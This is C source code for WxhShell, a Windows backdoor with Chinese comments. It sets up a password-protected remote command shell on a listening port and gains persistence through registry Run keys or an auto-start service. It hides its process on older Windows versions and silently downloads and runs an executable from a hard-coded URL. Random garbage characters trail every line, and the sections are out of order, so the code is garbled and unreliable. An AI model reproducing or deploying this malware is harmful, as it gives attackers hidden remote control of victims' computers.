DWORD PebBaseAddress; eeZIa`.sX
DWORD AffinityMask; 3CA|5A.Pa
DWORD BasePriority; p@#]mVJ>9
ULONG UniqueProcessId; !nec 7
ULONG InheritedFromUniqueProcessId; gE\A9L~b
} PROCESS_BASIC_INFORMATION; IM@"AD52a
W;^Rx.W
PROCNTQSIP NtQueryInformationProcess; U5|B9%:&
G1kDM.L
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l<u{6o
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }16&1@8
l*$WX=h6n
HANDLE hProcess; ?g5iok {
PROCESS_BASIC_INFORMATION pbi; 4BHtR017r
a`DWpc~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L30>|g
if(NULL == hInst ) return 0; 2>\b:
pNP_f:A|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {d| |q<.-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7raSf&{&6b
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LEWa6'0rq
r])Z9bbi
if (!NtQueryInformationProcess) return 0; nHrP>zN
_o\>V:IZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ynvj;
if(!hProcess) return 0; [6O04"6K
@XeEpDn]
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DNmb[
$"/UK3|d
CloseHandle(hProcess); DLU[<!C
VK9Q?nu
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JRD8Lz]Q3
if(hProcess==NULL) return 0; Ud$Q0m&
])eOa%
HMODULE hMod; U9x4j_.q
char procName[255]; pfR"s:#
unsigned long cbNeeded; +e U`H[iu
?2/uSG|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *nLIXnm
v5B"
A"N
CloseHandle(hProcess); 6*sw,sU[y
kzMa+(fu
if(strstr(procName,"services")) return 1; // 以服务启动 e"*BHvy F
oE$hqd s
return 0; // 注册表启动 hXNH"0VCV
} RV}GK
L>gn
hBjVe?{
// 主模块 i^R{Ul[
int StartWxhshell(LPSTR lpCmdLine) vT%qILTrQf
{ ;8BA~,4l
SOCKET wsl; {wcO[bN
BOOL val=TRUE; juH wHt
int port=0; K|US~Hgv
struct sockaddr_in door; 9WOu8Ia
d`85P+Qen|
if(wscfg.ws_autoins) Install(); |P>|D+I0
U{"f.Z:Ydo
port=atoi(lpCmdLine); %06vgjOa (
c&
3#-DNI
if(port<=0) port=wscfg.ws_port; F%Kp9I*
NaF(\j
WSADATA data; U7E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vmvFBzLR
ZBF1rx?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \<X2ns@Tf
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ln fm0
door.sin_family = AF_INET; -xz|ayn
door.sin_addr.s_addr = inet_addr("127.0.0.1"); _r]nJEF5
door.sin_port = htons(port); o!=WFAi[pX
pL! a
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IJ0#iA. T
closesocket(wsl); 7RD$=?o O'
return 1; #K|0laul
} \04mLIJr9
|gW
if(listen(wsl,2) == INVALID_SOCKET) { (|dPeix|
closesocket(wsl); <~N%W#z/
return 1; vGMJ ^q
} _PV*lK=
Wxhshell(wsl); La9r
WSACleanup(); a&C.=
7lwTZ*rnY
return 0; M'DWu|dIBA
'#A:.P
} Xk?R mU6
e{0L%%2K
// 以NT服务方式启动 y+A{Y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tfA}`*$s
{ %kq ^]S2O
DWORD status = 0; H'Ln
P>@n#
DWORD specificError = 0xfffffff; 8bt53ta
;T>+,
serviceStatus.dwServiceType = SERVICE_WIN32; 9#Bx]wy
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;gUXvx~~r
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x/xb1"
serviceStatus.dwWin32ExitCode = 0; srK53vKMHW
serviceStatus.dwServiceSpecificExitCode = 0; 'y.JcS!|
serviceStatus.dwCheckPoint = 0; ab@=cL~^
serviceStatus.dwWaitHint = 0; {OCJ(^8i
L7}i
q0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nVXg,Jl
if (hServiceStatusHandle==0) return; :Jk33 N4y0
7TpRCq#
status = GetLastError(); (N0sE"_~I5
if (status!=NO_ERROR) O:e#!C8^
{ @o&Ytd;i
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?Wa<AFXQ
serviceStatus.dwCheckPoint = 0; [Tp%"f1
serviceStatus.dwWaitHint = 0; m6i%DE
serviceStatus.dwWin32ExitCode = status; J(e7{aRJ9
serviceStatus.dwServiceSpecificExitCode = specificError; iDw.i"b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &\^rQi/tf
return; U-g9C.
} Xu6K%]i^
036[96t,F
serviceStatus.dwCurrentState = SERVICE_RUNNING; t8/%Dgu
serviceStatus.dwCheckPoint = 0; yj
zK.dM
serviceStatus.dwWaitHint = 0; ~RInN+N#
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xk,>l6vc
} ZdH1nX(Yh3
/c#l9&,
// 处理NT服务事件,比如:启动、停止 ! Mo`^t
VOID WINAPI NTServiceHandler(DWORD fdwControl) LG&5VxT=,<
{ TBnvV 5_
switch(fdwControl) ;&
|qSa'
{ 'M N1A;IJ
case SERVICE_CONTROL_STOP: +/y]h0aa
serviceStatus.dwWin32ExitCode = 0; A=X-;N#
serviceStatus.dwCurrentState = SERVICE_STOPPED; )xt4Wk/
serviceStatus.dwCheckPoint = 0; $;`I,k$0>~
serviceStatus.dwWaitHint = 0; =X@o@1
{ f-D>3qSS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Q7mV%%
} OH6n^WKY
return; LuS+_|]x
case SERVICE_CONTROL_PAUSE: [zh"x#AyI
serviceStatus.dwCurrentState = SERVICE_PAUSED;
%w5[*V
break; J +q|$K6
case SERVICE_CONTROL_CONTINUE: YeyGN
serviceStatus.dwCurrentState = SERVICE_RUNNING; lhO2'#]i
break; 74f9|~%
case SERVICE_CONTROL_INTERROGATE: ~O03Sit-
break; v{y{sA
}; 3sbK7,4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {G*OR,HN
} h1f8ktF
QDE$E.a
// 标准应用程序主函数 !d8A
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B+"g2Y
{ 9M'DC^x*T
cAEok P
// 获取操作系统版本 )yj:PY]
OsIsNt=GetOsVer(); qyyq&
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q9sl fQ
eW50s`bKY
// 从命令行安装 <n^3uXzD
if(strpbrk(lpCmdLine,"iI")) Install(); .~mCXz<x
Gx'TkU=
// 下载执行文件 Z 0*%Rq
if(wscfg.ws_downexe) { 3ZojE ux`
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <kbyZXV@K
WinExec(wscfg.ws_filenam,SW_HIDE); KOSQQf
o
} ;`UecLb#
~pz FZ7n4
if(!OsIsNt) { tsv$ r$Se
// 如果时win9x,隐藏进程并且设置为注册表启动 Lgi[u"Du
HideProc(); _~M^ uW^l
StartWxhshell(lpCmdLine); +S9PML){h
} o@k84+tn(
else A5nO=
if(StartFromService()) wa:0X)KC?
// 以服务方式启动 Nfn(Xn*J-
StartServiceCtrlDispatcher(DispatchTable); AIZBo@xg
else !p[`IWZ
// 普通方式启动 op @iGC+
StartWxhshell(lpCmdLine); &leK}je [
,}J_:\j
return 0; euQ.ArF
} z-,VnhLx
qSD9P ue
=k{`oO~:9+
qZ X/@Yxz
=========================================== DC:)Ysuj
E\ th%q,mG
s 3r=mp{
4c159wsnQ
fn}UBzED\
DtF}QvA
" D7?C
W?z#pV+jt
#include <stdio.h> H%}IuHhN)
#include <string.h> Y*LaBxt Q
#include <windows.h> X_?97iXjx
#include <winsock2.h> c/aup
#include <winsvc.h> 9[Qd)%MO
#include <urlmon.h> \#,t O%D
MGt]' }
#pragma comment (lib, "Ws2_32.lib") JTW)*q9a
#pragma comment (lib, "urlmon.lib") Q6'nSBi:A_
L*JPe"N-e
#define MAX_USER 100 // 最大客户端连接数 ;>"nn
VW
#define BUF_SOCK 200 // sock buffer uf' 4'
#define KEY_BUFF 255 // 输入 buffer 76H!)={
.p&Yr%~
#define REBOOT 0 // 重启 n&Yk<
#define SHUTDOWN 1 // 关机 ]Pc^#=(R0
io%')0p5q
#define DEF_PORT 5000 // 监听端口 IL!=mZ>2O
h(' )"
#define REG_LEN 16 // 注册表键长度 t"AzI8O
#define SVC_LEN 80 // NT服务名长度 lE5v-z? &|
ycr"Y|
// 从dll定义API Wa'sZ#
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q-eCHr)
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g,kzQ}_
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cAuY4RV
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K@:m/Z}|4
HY}j!X
// wxhshell配置信息 +R.N%_
struct WSCFG { MI#mAg<
int ws_port; // 监听端口 .v\\Tq&"|
char ws_passstr[REG_LEN]; // 口令 ,mFsM!|
int ws_autoins; // 安装标记, 1=yes 0=no )TmtSSS
char ws_regname[REG_LEN]; // 注册表键名 >-)h|w i
char ws_svcname[REG_LEN]; // 服务名 %[QV,fD'E
char ws_svcdisp[SVC_LEN]; // 服务显示名 }e]f
char ws_svcdesc[SVC_LEN]; // 服务描述信息 KfY$ka[}"S
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,,<PVTd
int ws_downexe; // 下载执行标记, 1=yes 0=no uCP>y6I
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rrBAQY|.
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KMK`F{
7^:4A'
}; ;LwqTlJ*[L
.dmi#%W
// default Wxhshell configuration l!~
mxUb
struct WSCFG wscfg={DEF_PORT, $2#7D*
Rx
"xuhuanlingzhe", NPjv)TN}3
1, SUtf[6
"Wxhshell", /Cr/RG:OX
"Wxhshell", E~hzh /,34
"WxhShell Service", slW3qRT\k
"Wrsky Windows CmdShell Service", T-" I9kM
"Please Input Your Password: ", "ZMkL)'7-
1, ]MTbW=*}ED
"http://www.wrsky.com/wxhshell.exe", q/&y*)&'O
"Wxhshell.exe" 8im@4A+n`
}; (lH,JX`$a
USPTpjt8R
// 消息定义模块 ANMg
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~H /2R
char *msg_ws_prompt="\n\r? for help\n\r#>"; +M\8>/0oA
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k9si|'
char *msg_ws_ext="\n\rExit."; e [0w5)X
char *msg_ws_end="\n\rQuit."; Ff4*IOZ}(
char *msg_ws_boot="\n\rReboot..."; j
tA*pL'/V
char *msg_ws_poff="\n\rShutdown...";
>'=MH2;
char *msg_ws_down="\n\rSave to "; %{5n1w
9'~-U
char *msg_ws_err="\n\rErr!"; FG-L0X
char *msg_ws_ok="\n\rOK!"; ;</Lf=+Vm
eC`pnE
char ExeFile[MAX_PATH]; ljJ>;g+
int nUser = 0; m
<k!^jp
HANDLE handles[MAX_USER]; RDQ^dui
int OsIsNt; 6f%DpJ:$U
RMXzU
SERVICE_STATUS serviceStatus; yJJ4~j){l
SERVICE_STATUS_HANDLE hServiceStatusHandle; EeQ5vqU
yJ2B3i@T4
// 函数声明 4&X*pL2;
int Install(void); dZ(|uC!?
int Uninstall(void); 4dh+
int DownloadFile(char *sURL, SOCKET wsh); Ca>&
int Boot(int flag); vK'?:}~
void HideProc(void); LXfCmc9|Z
int GetOsVer(void); 0tz:Wd*<
int Wxhshell(SOCKET wsl); =hH.zrI6e
void TalkWithClient(void *cs); 5z/Er".P
int CmdShell(SOCKET sock); )mN9(Ob!
int StartFromService(void); ~6[*q~B
int StartWxhshell(LPSTR lpCmdLine); DPDe>3Mi[
u\e\'\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zA+@FR?
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !]?$f=
P\R27Jd
// 数据结构和表定义 tpf7_YP_!-
SERVICE_TABLE_ENTRY DispatchTable[] = +C{p%`<
{ A}VYb:u/
{wscfg.ws_svcname, NTServiceMain}, 8HErE<_(
{NULL, NULL} Qo0H
}; r0dDHj~F
6L4$vJ
// 自我安装 6j9)/ HP
int Install(void) c+' =hR[
{ &*,:1=p
char svExeFile[MAX_PATH]; c|~6Ie
HKEY key; QB{rVI>mI!
strcpy(svExeFile,ExeFile); }xb=<
OEgI_=B
// 如果是win9x系统,修改注册表设为自启动 le>Wm&E
if(!OsIsNt) { m~l
F`?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @9G- m(?*
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); df*w>xS
RegCloseKey(key); RuRt0Sd3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f"5g>[1
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +Ezgn/bS&
RegCloseKey(key); 5F $V`kYT
return 0; =P77"Dd
} zsl,,gk9Y
} fZWGn6$
} rXi uwz\
else { TCVl8)j
'?*g%Yuz
// 如果是NT以上系统,安装为系统服务 j
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SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KpiF0K
if (schSCManager!=0) 9h,u6e
{ 5_o$<\I\
SC_HANDLE schService = CreateService ./-JbW
( h1"zV6U
schSCManager, J{"kw1Lu
wscfg.ws_svcname, b!>\2DlyJ
wscfg.ws_svcdisp, .w?
.ib(
SERVICE_ALL_ACCESS, s4= "kT]
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2ef;NC.&n
SERVICE_AUTO_START, [bQj,PZ&
SERVICE_ERROR_NORMAL, b3qc_
svExeFile, rnm03 '{
NULL, Wa"(m*hW
NULL, ;GHvPQc_
NULL, "E=j|q
NULL, Pt< s* (
NULL JcO08n
); ~[PKcEX
if (schService!=0) m>&HuHf
{ ~4,I7c7
CloseServiceHandle(schService); ><?BqRm+
CloseServiceHandle(schSCManager); `m~syKz4A
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V`hu,Y;%
strcat(svExeFile,wscfg.ws_svcname); f6=w3RS
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D$eB ,~
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jdqj=Yc
RegCloseKey(key); ctmQWrk|B
return 0; 7Hw<ojkt
} }odV_WT
} |01?w |
CloseServiceHandle(schSCManager); bMoAD.}
} pb;")Q'
} (zo^Nn9VJ
b
B
return 1; M~T.n)x2
} $A\m>*@
ekSY~z=/u
// 自我卸载 i^z`"3#LE
int Uninstall(void) P1zK2sL_
{ !E\[SjY@J
HKEY key; }qPhx6nP
'md0] R|
if(!OsIsNt) { 1qdZc_x
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g<*jlM1r
RegDeleteValue(key,wscfg.ws_regname); S4NL "m
RegCloseKey(key); rjA@U<o
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e,1u
RegDeleteValue(key,wscfg.ws_regname); @)YY\l#
RegCloseKey(key); &R-H"kK?
return 0; h5%|meZQb
} .5HQ
} *tQk;'/A]
} !%L,*'
else { &Y>zT9]$K
/ci]}`'ws
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,%"xH4d
if (schSCManager!=0) h+UnZfm
{ ,8Iv9M}2
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m 40m<@
if (schService!=0) yf1CXldi
{ ;1AG3P'
if(DeleteService(schService)!=0) { EYS>0Y
CloseServiceHandle(schService); ]L_w$ev'
CloseServiceHandle(schSCManager); pR os{Uq"
return 0; `|e!Kq?#Q
} #~ v4caNx
CloseServiceHandle(schService); H.
,;-
} h=VqxGC&
CloseServiceHandle(schSCManager); dXvt6kF
} 4)-)# `K
} yOXO)u1n
Q'NmSX)0
return 1; 9>*c_
} C*Vd -U
l)8&Ip
// 从指定url下载文件 <+`(\
int DownloadFile(char *sURL, SOCKET wsh) ,i}|5ozj4
{ F}?<v8#z0
HRESULT hr; x4?10f(9=
char seps[]= "/"; o3Ot.9L
char *token; }U5Y=RYo
char *file; GRYe<